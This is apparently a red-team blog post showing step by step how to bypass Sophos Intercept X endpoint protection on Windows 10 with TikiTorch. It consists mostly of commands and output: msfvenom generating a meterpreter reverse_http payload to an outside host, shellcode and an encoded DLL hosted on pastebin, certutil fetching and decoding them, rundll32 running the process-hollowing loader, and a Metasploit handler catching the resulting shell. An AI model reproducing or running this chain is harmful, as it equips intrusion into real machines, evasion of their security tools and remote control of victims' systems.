Lighting the path through EDRs using TikiTorch
Intro
A quick practical demonstration of using Rastamouse’s TikiTorch to bypass Endpoint protection, in this case a trial version of Sophos Intercept X (“Now with EDR”). For this demo we’ll be trying to run a 64 bit staged meterpreter reverse shell on a Windows 10 target.
Before we start, we’ll try to do it the old way to see how far we can get. Let’s generate a windows binary, download it using a browser and run it.
Generate our binary:
root@localhost:~# msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=ahost.rythmstick.net LPORT=80 -f exe > rs.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 605 bytes
Final size of exe file: 7168 bytes
These days, this is is a well recognised binary:
We spin up a web server:
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
And download http://ahost.rythmstick.net/rs.exe in our browser. If you’re lucky enough to get it through your proxy server, Sophos Web Protection recognises it as malicious:
Rather than obfuscate the code we’ll download it outside the browser. We’ll use a much underrated native windows binary, CERTUTIL.EXE (shout out to Lolbas).
C:\Users\Me> certutil -urlcache -split -f http://ahost.rythmstick.net/rs.exe
**** Online ****
000000 ...
034400
CertUtil: -URLCache command completed successfully.
The binary gets downloaded but is immediately dealt with by Sophos Endpoint when it lands on disk:
A look at Sophos’s threat analysis center gives some additonal details:
We could go through the long process of using different techniques to obfuscate the code, but instead we’ll use TikiTorch.
TikiTorch hides our shellcode using process hollowing techniques to injest the code in a Windows binary of our choice.
Step 1 - Generate Shellcode
We’re using msfvenom in Kali 2018.4 to generate some staged reverse shell shellcode and base64 encode it - the format expected by TikiTorch. Oh, we’ll also have to gzip the shellcode since the latest mods to TikiTorch (although we don’t save alot of bytes gzip’ing a stager).
root@localhost:~# msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=ahost.rythmstick.net LPORT=80 -f raw | gzip -f | base64 -w 0 > rs.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 781 bytes
base64 -w 0 ensures that the base64 encoded shellcode is output in one long string and not wrapped
LHOST is where we'll run our multi handler
LPORT is the port we'll be listening on
Step 2 - Host our shellcode
We now need to host our shellcode somewhere. We could spin up a web server but we’re going to use this host to run our handler. If the target has tight Egress controls in place we may also be limited by ports. Instead we’ll use PasteBin. We’ll copy the contents of rs.txt in a new paste. Make a note of the raw URL for this paste, in our case it’s https://pastebin.com/raw/Zd5hmeUL.
Make sure we can access this URL on our target.
Step 3 - Recompile TikiThings.dll
Clone the TikiTorch Repo. We’ll need to amend 2 strings in TikiThings\Program.cs, binary and url, as follows::
string binary = @"c:\\windows\\system32\\calc.exe";
string url = @"https://pastebin.com/raw/Zd5hmeU";
Next we need to re-compile, which should generate an updated TikiThings.dll. I used Microsoft Visual Studio Community 2017.
Step 4 - Download TikiThings to target
Download your re-compiled TikiThings.dll to the target. If your target’s web filter objects to downloading a DLL file, try encoding it.
Once compiled, Base64 encode TikiThings.dll:
C:\> certutil -encode TikiThings.dll TikiThings.enc
Upload the encoded file where it can be downloaded. We’ll use pastebin again. Copy the contents of TikiThings.enc into a new paste, in our case https://pastebin.com/raw/SAeR96bC.
Download the encoded file onto target and decode it back to DLL.
C:\> certutil -urlcache -split -f https://pastebin.com/raw/SAeR96bC TikiThings.enc
C:\> certutil -decode TikiThings.enc TikiThings.dll
Step 5 - Start a Multi Handler
Run a Metasploit multi handler to catch our meterpreter reverse http shell.
root@localhost:~# msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_http
payload => windows/meterpreter_reverse_http
msf5 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf5 exploit(multi/handler) > set LPORT 80
LPORT => 80
msf5 exploit(multi/handler) > run
[*] Started HTTP reverse handler on http://0.0.0.0:80
Step 6 - Execute our payload
C:\Users\Me> rundll32 TikiThings.dll,EntryPoint
We now get a reverse http meterpreter shell on our target (not a peep from our EDR solution):
[*] Started HTTP reverse handler on http://0.0.0.0:80
msf5 exploit(multi/handler) > [*] http://0.0.0.0:80 handling request from x.x.x.x; (UUID: ivbuf5og) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (178.79.162.12:80 -> x.x.x.x:51614) at 2019-03-25 20:44:26 +0000
msf5 exploit(multi/handler) > sysinfo
meterpreter > sysinfo
Computer : DESKTOP-RF1LQOM
OS : Windows 10 (Build 17134).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
If we check out the connections established to our handler, we see a process with PID 4436.
C:\Users\Me> netstat -ano | find "178.79.162.12"
TCP 10.0.2.15:56328 178.79.162.12:80 ESTABLISHED 4436
Which happens to be the binary we set in TikiThings.dll:
TikiTorch has a number of other assemblies. Check out the GitHub Repo for more details.
comments powered by Disqus